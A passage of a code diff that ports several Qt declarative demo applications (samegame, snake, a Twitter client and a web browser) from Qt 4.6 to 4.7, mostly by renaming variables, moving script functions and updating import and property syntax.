-    if(xIdx >= maxX || xIdx < 0 || yIdx >= maxY || yIdx < 0)
+    if(column >= maxColumn || column < 0 || row >= maxRow || row < 0)
         return false;
-    if(board[index(xIdx, yIdx)] == null)
+    if(board[index(column, row)] == null)
         return false;
-    var myType = board[index(xIdx, yIdx)].type;
+    var myType = board[index(column, row)].type;
     if(type == myType)
         return true;
-    return floodMoveCheck(xIdx + 1, yIdx, myType) ||
-           floodMoveCheck(xIdx, yIdx - 1, board[index(xIdx,yIdx)].type);
+    return floodMoveCheck(column + 1, row, myType) ||
+           floodMoveCheck(column, row - 1, board[index(column,row)].type);
 }
 
-function createBlock(xIdx,yIdx){
+function createBlock(column,row){
     // Note that we don't wait for the component to become ready. This will
     // only work if the block QML is a local file. Otherwise the component will
     // not be ready immediately. There is a statusChanged signal on the
@@ -195,14 +185,14 @@ function createBlock(xIdx,yIdx){
         }
         dynamicObject.type = Math.floor(Math.random() * 3);
         dynamicObject.parent = gameCanvas;
-        dynamicObject.x = xIdx*gameCanvas.tileSize;
-        dynamicObject.targetX = xIdx*gameCanvas.tileSize;
-        dynamicObject.targetY = yIdx*gameCanvas.tileSize;
-        dynamicObject.width = gameCanvas.tileSize;
-        dynamicObject.height = gameCanvas.tileSize;
+        dynamicObject.x = column*gameCanvas.blockSize;
+        dynamicObject.targetX = column*gameCanvas.blockSize;
+        dynamicObject.targetY = row*gameCanvas.blockSize;
+        dynamicObject.width = gameCanvas.blockSize;
+        dynamicObject.height = gameCanvas.blockSize;
         dynamicObject.spawned = true;
-        board[index(xIdx,yIdx)] = dynamicObject;
-    }else{//isError or isLoading
+        board[index(column,row)] = dynamicObject;
+    }else{
         print("error loading block component");
         print(component.errorsString());
         return false;
@@ -216,14 +206,14 @@ function saveHighScore(name) {
     //OfflineStorage
     var db = openDatabaseSync("SameGameScores", "1.0", "Local SameGame High Scores",100);
     var dataStr = "INSERT INTO Scores VALUES(?, ?, ?, ?)";
-    var data = [name, gameCanvas.score, maxX+"x"+maxY ,Math.floor(timer/1000)];
+    var data = [name, gameCanvas.score, maxColumn+"x"+maxRow ,Math.floor(gameDuration/1000)];
     db.transaction(
         function(tx) {
             tx.executeSql('CREATE TABLE IF NOT EXISTS Scores(name TEXT, score NUMBER, gridSize TEXT, time NUMBER)');
             tx.executeSql(dataStr, data);
 
             //Only show results for the current grid size
-            var rs = tx.executeSql('SELECT * FROM Scores WHERE gridSize = "'+maxX+"x"+maxY+'" ORDER BY score desc LIMIT 10');
+            var rs = tx.executeSql('SELECT * FROM Scores WHERE gridSize = "'+maxColumn+"x"+maxRow+'" ORDER BY score desc LIMIT 10');
             var r = "\nHIGH SCORES for this grid size\n\n"
             for(var i = 0; i < rs.rows.length; i++){
                 r += (i+1)+". " + rs.rows.item(i).name +' got '
@@ -238,7 +228,7 @@ function saveHighScore(name) {
 function sendHighScore(name) {
     var postman = new XMLHttpRequest()
     var postData = "name="+name+"&score="+gameCanvas.score
-        +"&gridSize="+maxX+"x"+maxY +"&time="+Math.floor(timer/1000);
+        +"&gridSize="+maxColumn+"x"+maxRow +"&time="+Math.floor(gameDuration/1000);
     postman.open("POST", scoresURL, true);
     postman.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
     postman.onreadystatechange = function() { 
diff --git a/demos/declarative/samegame/samegame.qml b/demos/declarative/samegame/samegame.qml
index 3b19cbe..92201f5 100644
--- a/demos/declarative/samegame/samegame.qml
+++ b/demos/declarative/samegame/samegame.qml
@@ -1,5 +1,6 @@
-import Qt 4.6
-import SamegameCore 1.0
+import Qt 4.7
+import "SamegameCore"
+import "SamegameCore/samegame.js" as Logic
 
 Rectangle {
     id: screen
@@ -8,87 +9,95 @@ Rectangle {
     SystemPalette { id: activePalette }
 
     Item {
-        width: parent.width; anchors.top: parent.top; anchors.bottom: toolBar.top
+        width: parent.width
+        anchors { top: parent.top; bottom: toolBar.top }
 
         Image {
             id: background
-            anchors.fill: parent; source: "SamegameCore/pics/background.png"
+            anchors.fill: parent
+            source: "SamegameCore/pics/background.png"
             fillMode: Image.PreserveAspectCrop
-            smooth: true
         }
 
         Item {
             id: gameCanvas
             property int score: 0
-            property int tileSize: 40
-
-            Script { source: "SamegameCore/samegame.js" }
+            property int blockSize: 40
 
             z: 20; anchors.centerIn: parent
-            width: parent.width - (parent.width % getTileSize());
-            height: parent.height - (parent.height % getTileSize());
+            width: parent.width - (parent.width % blockSize);
+            height: parent.height - (parent.height % blockSize);
 
             MouseArea {
-                id: gameMR
-                anchors.fill: parent; onClicked: handleClick(mouse.x,mouse.y);
+                anchors.fill: parent; onClicked: Logic.handleClick(mouse.x,mouse.y);
             }
         }
     }
 
     Dialog { id: dialog; anchors.centerIn: parent; z: 21 }
+
     Dialog {
-        id: scoreName; anchors.centerIn: parent; z: 22;
+        id: nameInputDialog
+        
         property int initialWidth: 0
-        Behavior on width {NumberAnimation{} enabled: initialWidth!=0}
+
+        anchors.centerIn: parent
+        z: 22;
+
+        Behavior on width {
+            NumberAnimation {} 
+            enabled: initialWidth != 0
+        }
+
         Text {
-            id: spacer
-            anchors.left: scoreName.left
-            anchors.leftMargin: 20
-            anchors.verticalCenter: parent.verticalCenter
+            id: dialogText
+            anchors { left: nameInputDialog.left; leftMargin: 20; verticalCenter: parent.verticalCenter }
             text: "You won! Please enter your name: "
         }
+
         TextInput {
-            id: editor
+            id: nameInputText
+            anchors { verticalCenter: parent.verticalCenter; left: dialogText.right }
+            focus: true
+
             onTextChanged: {
-                var newWidth = editor.width + spacer.width + 40;
-                if((newWidth > scoreName.width && newWidth < screen.width) 
-                        || (scoreName.width > scoreName.initialWidth))
-                    scoreName.width = newWidth;
+                var newWidth = nameInputText.width + dialogText.width + 40;
+                if ( (newWidth > nameInputDialog.width && newWidth < screen.width) 
+                        || (nameInputDialog.width > nameInputDialog.initialWidth) )
+                    nameInputDialog.width = newWidth;
             }
             onAccepted: {
-                if(scoreName.opacity==1&&editor.text!="")
-                    saveHighScore(editor.text);
-                scoreName.forceClose();
+                if (nameInputDialog.opacity == 1 && nameInputText.text != "")
+                    Logic.saveHighScore(nameInputText.text);
+                nameInputDialog.forceClose();
             }
-            anchors.verticalCenter: parent.verticalCenter
-            focus: true
-            anchors.left: spacer.right
         }
     }
 
     Rectangle {
         id: toolBar
+        width: parent.width; height: 32
         color: activePalette.window
-        height: 32; width: parent.width
         anchors.bottom: screen.bottom
 
         Button {
-            id: btnA; text: "New Game"; onClicked: {initBoard();}
-            anchors.left: parent.left; anchors.leftMargin: 3
-            anchors.verticalCenter: parent.verticalCenter
+            id: newGameButton
+            anchors { left: parent.left; leftMargin: 3; verticalCenter: parent.verticalCenter }
+            text: "New Game" 
+            onClicked: Logic.startNewGame()
         }
 
         Button {
-            id: btnB; text: "Quit"; onClicked: {Qt.quit();}
-            anchors.left: btnA.right; anchors.leftMargin: 3
-            anchors.verticalCenter: parent.verticalCenter
+            text: "Quit"
+            anchors { left: newGameButton.right; leftMargin: 3; verticalCenter: parent.verticalCenter }
+            onClicked: Qt.quit();
         }
 
         Text {
             id: score
-            text: "Score: " + gameCanvas.score; font.bold: true
-            anchors.right: parent.right; anchors.rightMargin: 3
-            anchors.verticalCenter: parent.verticalCenter
+            anchors { right: parent.right; rightMargin: 3; verticalCenter: parent.verticalCenter }
+            text: "Score: " + gameCanvas.score
+            font.bold: true
             color: activePalette.windowText
         }
     }
diff --git a/demos/declarative/snake/content/Button.qml b/demos/declarative/snake/content/Button.qml
index 6629302..9c7986b 100644
--- a/demos/declarative/snake/content/Button.qml
+++ b/demos/declarative/snake/content/Button.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Rectangle {
     id: container
diff --git a/demos/declarative/snake/content/Cookie.qml b/demos/declarative/snake/content/Cookie.qml
index 0ea95cb..9fbbdf9 100644
--- a/demos/declarative/snake/content/Cookie.qml
+++ b/demos/declarative/snake/content/Cookie.qml
@@ -1,4 +1,5 @@
-import Qt 4.6
+import Qt 4.7
+import Qt.labs.particles 1.0
 
 Item  {
     id: root
diff --git a/demos/declarative/snake/content/HighScoreModel.qml b/demos/declarative/snake/content/HighScoreModel.qml
index f585ce8..e04f524 100644
--- a/demos/declarative/snake/content/HighScoreModel.qml
+++ b/demos/declarative/snake/content/HighScoreModel.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 // Models a high score table.
 //
@@ -41,21 +41,19 @@ ListModel {
     property string topPlayer: ""
     property int maxScores: 10
 
-    Script {
-        function db()
-        {
-            return openDatabaseSync("HighScoreModel", "1.0", "Generic High Score Functionality for QML", 1000000);
-        }
-        function ensureTables(tx)
-        {
-            tx.executeSql('CREATE TABLE IF NOT EXISTS HighScores(game TEXT, score INT, player TEXT)', []);
-        }
+    function __db()
+    {
+        return openDatabaseSync("HighScoreModel", "1.0", "Generic High Score Functionality for QML", 1000000);
+    }
+    function __ensureTables(tx)
+    {
+        tx.executeSql('CREATE TABLE IF NOT EXISTS HighScores(game TEXT, score INT, player TEXT)', []);
     }
 
     function fillModel() {
-        db().transaction(
+        __db().transaction(
             function(tx) {
-                ensureTables(tx);
+                __ensureTables(tx);
                 var rs = tx.executeSql("SELECT score,player FROM HighScores WHERE game=? ORDER BY score DESC", [game]);
                 model.clear();
                 if (rs.rows.length > 0) {
@@ -74,9 +72,9 @@ ListModel {
     }
 
     function savePlayerScore(player,score) {
-        db().transaction(
+        __db().transaction(
             function(tx) {
-                ensureTables(tx);
+                __ensureTables(tx);
                 tx.executeSql("INSERT INTO HighScores VALUES(?,?,?)", [game,score,player]);
                 fillModel();
             }
@@ -88,7 +86,7 @@ ListModel {
     }
 
     function clearScores() {
-        db().transaction(
+        __db().transaction(
             function(tx) {
                 tx.executeSql("DELETE FROM HighScores WHERE game=?", [game]);
                 fillModel();
diff --git a/demos/declarative/snake/content/Link.qml b/demos/declarative/snake/content/Link.qml
index 31ac4b9..8186dfd 100644
--- a/demos/declarative/snake/content/Link.qml
+++ b/demos/declarative/snake/content/Link.qml
@@ -1,4 +1,5 @@
-import Qt 4.6
+import Qt 4.7
+import Qt.labs.particles 1.0
 
 Item { id:link
     property bool dying: false
diff --git a/demos/declarative/snake/content/Skull.qml b/demos/declarative/snake/content/Skull.qml
index 821996a..2af8b2f 100644
--- a/demos/declarative/snake/content/Skull.qml
+++ b/demos/declarative/snake/content/Skull.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Image {
     property bool spawned: false
diff --git a/demos/declarative/snake/snake.qml b/demos/declarative/snake/snake.qml
index f9d02c7..47bced4 100644
--- a/demos/declarative/snake/snake.qml
+++ b/demos/declarative/snake/snake.qml
@@ -1,13 +1,12 @@
-import Qt 4.6
-import "content"
+import Qt 4.7
+import "content" as Content
+import "content/snake.js" as Logic
 
 Rectangle {
     id: screen;
     SystemPalette { id: activePalette }
     color: activePalette.window
 
-    Script { source: "content/snake.js" }
-
     property int gridSize : 34
     property int margin: 4
     property int numRowsAvailable: Math.floor((height-32-2*margin)/gridSize)
@@ -25,9 +24,9 @@ Rectangle {
     property int direction
     property int headDirection
 
-    property var head;
+    property variant head;
 
-    HighScoreModel {
+    Content.HighScoreModel {
         id: highScores
         game: "Snake"
     }
@@ -36,19 +35,19 @@ Rectangle {
         id: heartbeat;
         interval: heartbeatInterval;
         repeat: true
-        onTriggered: { move() }
+        onTriggered: { Logic.move() }
     }
     Timer {
         id: halfbeat;
         interval: halfbeatInterval;
         repeat: true
         running: heartbeat.running
-        onTriggered: { moveSkull() }
+        onTriggered: { Logic.moveSkull() }
     }
     Timer {
-        id: startNewGameTimer;
+
         interval: 700;
-        onTriggered: {startNewGame(); }
+        onTriggered: { Logic.startNewGame(); }
     }
 
     Timer {
@@ -97,7 +96,7 @@ Rectangle {
             height: numRowsAvailable * gridSize + 2*margin
 
 
-            Skull {
+            Content.Skull {
                 id: skull
             }
 
@@ -105,13 +104,13 @@ Rectangle {
                 anchors.fill: parent
                 onPressed: {
                     if (!head || !heartbeat.running) {
-                        startNewGame();
+                        Logic.startNewGame();
                         return;
                     }
                     if (direction == 0 || direction == 2)
-                        scheduleDirection((mouseX > (head.x + head.width/2)) ? 1 : 3);
+                        Logic.scheduleDirection((mouseX > (head.x + head.width/2)) ? 1 : 3);
                     else
-                        scheduleDirection((mouseY > (head.y + head.height/2)) ? 2 : 0);
+                        Logic.scheduleDirection((mouseY > (head.y + head.height/2)) ? 2 : 0);
                 }
             }
         }
@@ -148,8 +147,8 @@ Rectangle {
         height: 32; width: parent.width
         anchors.bottom: screen.bottom
 
-        Button {
-            id: btnA; text: "New Game"; onClicked: {startNewGame();}
+        Content.Button {
+            id: btnA; text: "New Game"; onClicked: Logic.startNewGame();
             anchors.left: parent.left; anchors.leftMargin: 3
             anchors.verticalCenter: parent.verticalCenter
         }
@@ -163,11 +162,11 @@ Rectangle {
     }
 
     focus: true
-    Keys.onSpacePressed: startNewGame();
-    Keys.onLeftPressed: if (state == "starting" || direction != 1) scheduleDirection(3);
-    Keys.onRightPressed: if (state == "starting" || direction != 3) scheduleDirection(1);
-    Keys.onUpPressed: if (state == "starting" || direction != 2) scheduleDirection(0);
-    Keys.onDownPressed: if (state == "starting" || direction != 0) scheduleDirection(2);
+    Keys.onSpacePressed: Logic.startNewGame();
+    Keys.onLeftPressed: if (state == "starting" || direction != 1) Logic.scheduleDirection(3);
+    Keys.onRightPressed: if (state == "starting" || direction != 3) Logic.scheduleDirection(1);
+    Keys.onUpPressed: if (state == "starting" || direction != 2) Logic.scheduleDirection(0);
+    Keys.onDownPressed: if (state == "starting" || direction != 0) Logic.scheduleDirection(2);
 
     states: [
         State {
diff --git a/demos/declarative/twitter/TwitterCore/AuthView.qml b/demos/declarative/twitter/TwitterCore/AuthView.qml
index bcf4646..7986e74 100644
--- a/demos/declarative/twitter/TwitterCore/AuthView.qml
+++ b/demos/declarative/twitter/TwitterCore/AuthView.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: wrapper
@@ -24,7 +24,8 @@ Item {
                     font.pixelSize: 16;
                     font.bold: true
                     color: "#151515"; selectionColor: "green"
-                    KeyNavigation.down: passIn
+                    KeyNavigation.tab: passIn
+                    KeyNavigation.backtab: guest
                     focus: true
                 }
             }
@@ -49,8 +50,8 @@ Item {
                     font.pixelSize: 16;
                     font.bold: true
                     color: "#151515"; selectionColor: "green"
-                    KeyNavigation.down: login
-                    KeyNavigation.up: nameIn
+                    KeyNavigation.tab: login
+                    KeyNavigation.backtab: nameIn
                 }
             }
         }
@@ -69,7 +70,8 @@ Item {
                 }
                 text: "Log in"
                 KeyNavigation.right: guest
-                KeyNavigation.up: passIn
+                KeyNavigation.tab: guest
+                KeyNavigation.backtab: passIn
                 Keys.onReturnPressed: login.doLogin();
                 Keys.onSelectPressed: login.doLogin();
                 Keys.onSpacePressed: login.doLogin();
@@ -88,7 +90,8 @@ Item {
                 }
                 text: "Guest"
                 KeyNavigation.left: login
-                KeyNavigation.up: passIn
+                KeyNavigation.tab: nameIn
+                KeyNavigation.backtab: login
                 Keys.onReturnPressed: guest.doGuest();
                 Keys.onSelectPressed: guest.doGuest();
                 Keys.onSpacePressed: guest.doGuest();
diff --git a/demos/declarative/twitter/TwitterCore/Button.qml b/demos/declarative/twitter/TwitterCore/Button.qml
index 4cba8c3..93f6b21 100644
--- a/demos/declarative/twitter/TwitterCore/Button.qml
+++ b/demos/declarative/twitter/TwitterCore/Button.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: container
diff --git a/demos/declarative/twitter/TwitterCore/FatDelegate.qml b/demos/declarative/twitter/TwitterCore/FatDelegate.qml
index 0f013e6..62ee11a 100644
--- a/demos/declarative/twitter/TwitterCore/FatDelegate.qml
+++ b/demos/declarative/twitter/TwitterCore/FatDelegate.qml
@@ -1,24 +1,22 @@
-import Qt 4.6
+import Qt 4.7
 
 Component {
     id: listDelegate
     Item {
         id: wrapper; width: wrapper.ListView.view.width; height: if(txt.height > 58){txt.height+8}else{58}//50+4+4
-        Script {
-            function handleLink(link){
-                if(link.slice(0,3) == 'app'){
-                    setUser(link.slice(7));
-                    screen.setMode(true);
-                }else if(link.slice(0,4) == 'http'){
-                    Qt.openUrlExternally(link);
-                }
-            }
-            function addTags(str){
-                var ret = str.replace(/@[a-zA-Z0-9_]+/g, '<a href="app://$&">$&</a>');//click to jump to user?
-                var ret2 = ret.replace(/http:\/\/[^ \n\t]+/g, '<a href="$&">$&</a>');//surrounds http links with html link tags
-                return ret2;
+        function handleLink(link){
+            if(link.slice(0,3) == 'app'){
+                screen.setUser(link.slice(7));
+                screen.setMode(true);
+            }else if(link.slice(0,4) == 'http'){
+                Qt.openUrlExternally(link);
             }
         }
+        function addTags(str){
+            var ret = str.replace(/@[a-zA-Z0-9_]+/g, '<a href="app://$&">$&</a>');//click to jump to user?
+            var ret2 = ret.replace(/http:\/\/[^ \n\t]+/g, '<a href="$&">$&</a>');//surrounds http links with html link tags
+            return ret2;
+        }
         Item {
             id: moveMe; height: parent.height
             Rectangle {
@@ -35,11 +33,11 @@ Component {
             Text { id:txt; y:4; x: 56
                 text: '<html><style type="text/css">a:link {color:"#aaccaa"}; a:visited {color:"#336633"}</style>'
                     + '<a href="app://@'+userScreenName+'"><b>'+userScreenName + "</b></a>  from " +source
-                    + "<br /><b>" + addTags(statusText) + "</b></html>";
+                    + "<br /><b>" + wrapper.addTags(statusText) + "</b></html>";
                 textFormat: Qt.RichText
-                color: "#cccccc"; style: Text.Raised; styleColor: "black"; wrap: true
+                color: "#cccccc"; style: Text.Raised; styleColor: "black"; wrapMode: Text.WordWrap
                 anchors.left: whiteRect.right; anchors.right: blackRect.right; anchors.leftMargin: 6; anchors.rightMargin: 6
-                onLinkActivated: handleLink(link)
+                onLinkActivated: wrapper.handleLink(link)
             }
         }
     }
diff --git a/demos/declarative/twitter/TwitterCore/HomeTitleBar.qml b/demos/declarative/twitter/TwitterCore/HomeTitleBar.qml
index a206c87..c1ae3e5 100644
--- a/demos/declarative/twitter/TwitterCore/HomeTitleBar.qml
+++ b/demos/declarative/twitter/TwitterCore/HomeTitleBar.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: titleBar
@@ -11,25 +11,23 @@ Item {
         id: container
         width: (parent.width * 2) - 55 ; height: parent.height
 
-        Script {
-            function accept() {
-                if(rssModel.authName == '' || rssModel.authPass == '')
-                    return false;//Can't login like that
+        function accept() {
+            if(rssModel.authName == '' || rssModel.authPass == '')
+                return false;//Can't login like that
 
-                var postData = "status=" + editor.text;
-                var postman = new XMLHttpRequest();
-                postman.open("POST", "http://twitter.com/statuses/update.xml", true, rssModel.authName,  rssModel.authPass);
-                postman.onreadystatechange = function() {
-                    if (postman.readyState == postman.DONE) {
-                        titleBar.update();
-                    }
+            var postData = "status=" + editor.text;
+            var postman = new XMLHttpRequest();
+            postman.open("POST", "http://twitter.com/statuses/update.xml", true, rssModel.authName,  rssModel.authPass);
+            postman.onreadystatechange = function() {
+                if (postman.readyState == postman.DONE) {
+                    titleBar.update();
                 }
-                postman.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
-                postman.send(postData);
-
-                editor.text = ""
-                titleBar.state = ""
             }
+            postman.setRequestHeader("Content-Type", "application/x-www-form-urlencoded");
+            postman.send(postData);
+
+            editor.text = ""
+            titleBar.state = ""
         }
 
         Rectangle {
@@ -59,7 +57,7 @@ Item {
         Button {
             id: tagButton; x: titleBar.width - 90; width: 85; height: 32; text: "New Post..."
             anchors.verticalCenter: parent.verticalCenter;
-            onClicked: if (titleBar.state == "Posting") accept(); else titleBar.state = "Posting"
+            onClicked: if (titleBar.state == "Posting") container.accept(); else titleBar.state = "Posting"
         }
 
         Text {
@@ -90,13 +88,13 @@ Item {
                 width: parent.width - 12
                 height: parent.height - 8
                 font.pointSize: 10
-                wrap: true
+                wrapMode: TextEdit.WrapAtWordBoundaryOrAnywhere
                 color: "#151515"; selectionColor: "green"
             }
             Keys.forwardTo: [(returnKey), (editor)]
             Item {
                 id: returnKey
-                Keys.onReturnPressed: accept()
+                Keys.onReturnPressed: container.accept()
                 Keys.onEscapePressed: titleBar.state = ""
             }
         }
diff --git a/demos/declarative/twitter/TwitterCore/Loading.qml b/demos/declarative/twitter/TwitterCore/Loading.qml
index 76bf64b..94b77f2 100644
--- a/demos/declarative/twitter/TwitterCore/Loading.qml
+++ b/demos/declarative/twitter/TwitterCore/Loading.qml
@@ -1,8 +1,8 @@
-import Qt 4.6
+import Qt 4.7
 
 Image {
-    id: loading; source: "images/loading.png"; transformOrigin: "Center"
+    id: loading; source: "images/loading.png"
     NumberAnimation on rotation {
-        from: 0; to: 360; running: loading.visible == true; repeat: true; duration: 900
+        from: 0; to: 360; running: loading.visible == true; loops: Animation.Infinite; duration: 900
     }
 }
diff --git a/demos/declarative/twitter/TwitterCore/MultiTitleBar.qml b/demos/declarative/twitter/TwitterCore/MultiTitleBar.qml
index e0205b8..8c27e2b 100644
--- a/demos/declarative/twitter/TwitterCore/MultiTitleBar.qml
+++ b/demos/declarative/twitter/TwitterCore/MultiTitleBar.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     height: homeBar.height
diff --git a/demos/declarative/twitter/TwitterCore/RssModel.qml b/demos/declarative/twitter/TwitterCore/RssModel.qml
index 9d88bb7..dca8499 100644
--- a/demos/declarative/twitter/TwitterCore/RssModel.qml
+++ b/demos/declarative/twitter/TwitterCore/RssModel.qml
@@ -1,7 +1,7 @@
-import Qt 4.6
+import Qt 4.7
 
 Item { id: wrapper
-    property var model: xmlModel
+    property variant model: xmlModel
     property string tags : ""
     property string authName : ""
     property string authPass : ""
diff --git a/demos/declarative/twitter/TwitterCore/TitleBar.qml b/demos/declarative/twitter/TwitterCore/TitleBar.qml
index 149aa82..87ceec5 100644
--- a/demos/declarative/twitter/TwitterCore/TitleBar.qml
+++ b/demos/declarative/twitter/TwitterCore/TitleBar.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: titleBar
@@ -11,12 +11,10 @@ Item {
         id: container
         width: (parent.width * 2) - 55 ; height: parent.height
 
-        Script {
-            function accept() {
-                titleBar.state = ""
-                background.state = ""
-                rssModel.tags = editor.text
-            }
+        function accept() {
+            titleBar.state = ""
+            background.state = ""
+            rssModel.tags = editor.text
         }
 
         Text {
@@ -33,7 +31,7 @@ Item {
 
         Button {
             id: tagButton; x: titleBar.width - 50; width: 45; height: 32; text: "..."
-            onClicked: if (titleBar.state == "Tags") accept(); else titleBar.state = "Tags"
+            onClicked: if (titleBar.state == "Tags") container.accept(); else titleBar.state = "Tags"
             anchors.verticalCenter: parent.verticalCenter
         }
 
@@ -58,7 +56,7 @@ Item {
 
             Item {
                 id: returnKey
-                Keys.onReturnPressed: accept()
+                Keys.onReturnPressed: container.accept()
                 Keys.onEscapePressed: titleBar.state = ""
             }
         }
diff --git a/demos/declarative/twitter/TwitterCore/ToolBar.qml b/demos/declarative/twitter/TwitterCore/ToolBar.qml
index f96c767..b29ca16 100644
--- a/demos/declarative/twitter/TwitterCore/ToolBar.qml
+++ b/demos/declarative/twitter/TwitterCore/ToolBar.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: toolbar
diff --git a/demos/declarative/twitter/TwitterCore/UserModel.qml b/demos/declarative/twitter/TwitterCore/UserModel.qml
index c146b84..8a8eb7b 100644
--- a/demos/declarative/twitter/TwitterCore/UserModel.qml
+++ b/demos/declarative/twitter/TwitterCore/UserModel.qml
@@ -1,10 +1,10 @@
-import Qt 4.6
+import Qt 4.7
 
 //This "model" gets the user information about the searched user. Mainly for the icon.
 //Copied from RssModel
 
 Item { id: wrapper
-    property var model: xmlModel
+    property variant model: xmlModel
     property string user : ""
     property int status: xmlModel.status
     function reload() { xmlModel.reload(); }
diff --git a/demos/declarative/twitter/twitter.qml b/demos/declarative/twitter/twitter.qml
index 259f79a..0e3ec3e 100644
--- a/demos/declarative/twitter/twitter.qml
+++ b/demos/declarative/twitter/twitter.qml
@@ -1,10 +1,10 @@
-import Qt 4.6
-import TwitterCore 1.0 as Twitter
+import Qt 4.7
+import "TwitterCore" 1.0 as Twitter
 
 Item {
     id: screen; width: 320; height: 480
     property bool userView : false
-    property var tmpStr
+    property variant tmpStr
     function setMode(m){
         screen.userView = m;
         if(m == false){
@@ -15,12 +15,11 @@ Item {
             toolBar.button2Label = "Return home";
         }
     }
+    function setUser(str){hack.running = true; tmpStr = str}
+    function reallySetUser(){rssModel.tags = tmpStr;}
+
     //Workaround for bug 260266
-    Timer{ interval: 1; running: false; repeat: false; onTriggered: reallySetUser(); id:hack }
-    Script {
-        function setUser(str){hack.running = true; tmpStr = str}
-        function reallySetUser(){rssModel.tags = tmpStr;}
-    }
+    Timer{ interval: 1; running: false; repeat: false; onTriggered: screen.reallySetUser(); id:hack }
 
     //TODO: better way to return to the auth screen
     Keys.onEscapePressed: rssModel.authName=''
@@ -35,7 +34,7 @@ Item {
         Text {
             width: 180
             text: "Could not access twitter using this screen name and password pair.";
-            color: "#cccccc"; style: Text.Raised; styleColor: "black"; wrap: true
+            color: "#cccccc"; style: Text.Raised; styleColor: "black"; wrapMode: Text.WordWrap
             visible: rssModel.status==XmlListModel.Error; anchors.centerIn: parent
         }
 
diff --git a/demos/declarative/webbrowser/content/FlickableWebView.qml b/demos/declarative/webbrowser/content/FlickableWebView.qml
index 30a5d78..81904c6 100644
--- a/demos/declarative/webbrowser/content/FlickableWebView.qml
+++ b/demos/declarative/webbrowser/content/FlickableWebView.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 import org.webkit 1.0
 
 Flickable {
@@ -25,21 +25,19 @@ Flickable {
         pixelCacheSize: 4000000
         transformOrigin: Item.TopLeft
 
-        Script {
-            function fixUrl(url)
-            {
-                if (url == "") return url
-                if (url[0] == "/") return "file://"+url
-                if (url.indexOf(":")<0) {
-                    if (url.indexOf(".")<0 || url.indexOf(" ")>=0) {
-                        // Fall back to a search engine; hard-code Wikipedia
-                        return "http://en.wikipedia.org/w/index.php?search="+url
-                    } else {
-                        return "http://"+url
-                    }
+        function fixUrl(url)
+        {
+            if (url == "") return url
+            if (url[0] == "/") return "file://"+url
+            if (url.indexOf(":")<0) {
+                if (url.indexOf(".")<0 || url.indexOf(" ")>=0) {
+                    // Fall back to a search engine; hard-code Wikipedia
+                    return "http://en.wikipedia.org/w/index.php?search="+url
+                } else {
+                    return "http://"+url
                 }
-                return url
             }
+            return url
         }
 
         url: fixUrl(webBrowser.urlString)
diff --git a/demos/declarative/webbrowser/content/RectSoftShadow.qml b/demos/declarative/webbrowser/content/RectSoftShadow.qml
index 5b6d4ec..53d098c 100644
--- a/demos/declarative/webbrowser/content/RectSoftShadow.qml
+++ b/demos/declarative/webbrowser/content/RectSoftShadow.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     BorderImage {
diff --git a/demos/declarative/webbrowser/content/RetractingWebBrowserHeader.qml b/demos/declarative/webbrowser/content/RetractingWebBrowserHeader.qml
index 94c94f2..f5bfadf 100644
--- a/demos/declarative/webbrowser/content/RetractingWebBrowserHeader.qml
+++ b/demos/declarative/webbrowser/content/RetractingWebBrowserHeader.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 import "fieldtext"
 
@@ -18,7 +18,7 @@ Image {
 
         anchors.top: header.top
         anchors.topMargin: 4
-        anchors.horizontalCenter: parent.horizontalCenter
+        x: parent.width > headerIcon.width+headerText.width+6 ? (parent.width-headerIcon.width-headerText.width-6)/2 : 0
         spacing: 6
 
         Image {
@@ -30,8 +30,6 @@ Image {
             id: headerText
 
             text: webView.title!='' || webView.progress == 1.0 ? webView.title : 'Loading...'
-            elide: Text.ElideRight
-            //width: parent.width - headerIcon.width-4
 
             color: "white"
             styleColor: "black"
diff --git a/demos/declarative/webbrowser/content/fieldtext/FieldText.qml b/demos/declarative/webbrowser/content/fieldtext/FieldText.qml
index d282209..d1d003f 100644
--- a/demos/declarative/webbrowser/content/fieldtext/FieldText.qml
+++ b/demos/declarative/webbrowser/content/fieldtext/FieldText.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 
 Item {
     id: fieldText
@@ -10,30 +10,26 @@ Item {
     signal cancelled
     signal startEdit
 
-    Script {
-
-        function edit() {
-            if (!mouseGrabbed) {
-                fieldText.startEdit();
-                fieldText.state='editing';
-                mouseGrabbed=true;
-            }
-        }
-
-        function confirm() {
-            fieldText.state='';
-            fieldText.text = textEdit.text;
-            mouseGrabbed=false;
-            fieldText.confirmed();
+    function edit() {
+        if (!mouseGrabbed) {
+            fieldText.startEdit();
+            fieldText.state='editing';
+            mouseGrabbed=true;
         }
+    }
 
-        function reset() {
-            textEdit.text = fieldText.text;
-            fieldText.state='';
-            mouseGrabbed=false;
-            fieldText.cancelled();
-        }
+    function confirm() {
+        fieldText.state='';
+        fieldText.text = textEdit.text;
+        mouseGrabbed=false;
+        fieldText.confirmed();
+    }
 
+    function reset() {
+        textEdit.text = fieldText.text;
+        fieldText.state='';
+        mouseGrabbed=false;
+        fieldText.cancelled();
     }
 
     Image {
diff --git a/demos/declarative/webbrowser/webbrowser.qml b/demos/declarative/webbrowser/webbrowser.qml
index b6cccb0..fbbe7b2 100644
--- a/demos/declarative/webbrowser/webbrowser.qml
+++ b/demos/declarative/webbrowser/webbrowser.qml
@@ -1,4 +1,4 @@
-import Qt 4.6
+import Qt 4.7
 import org.webkit 1.0
 
 import "content"
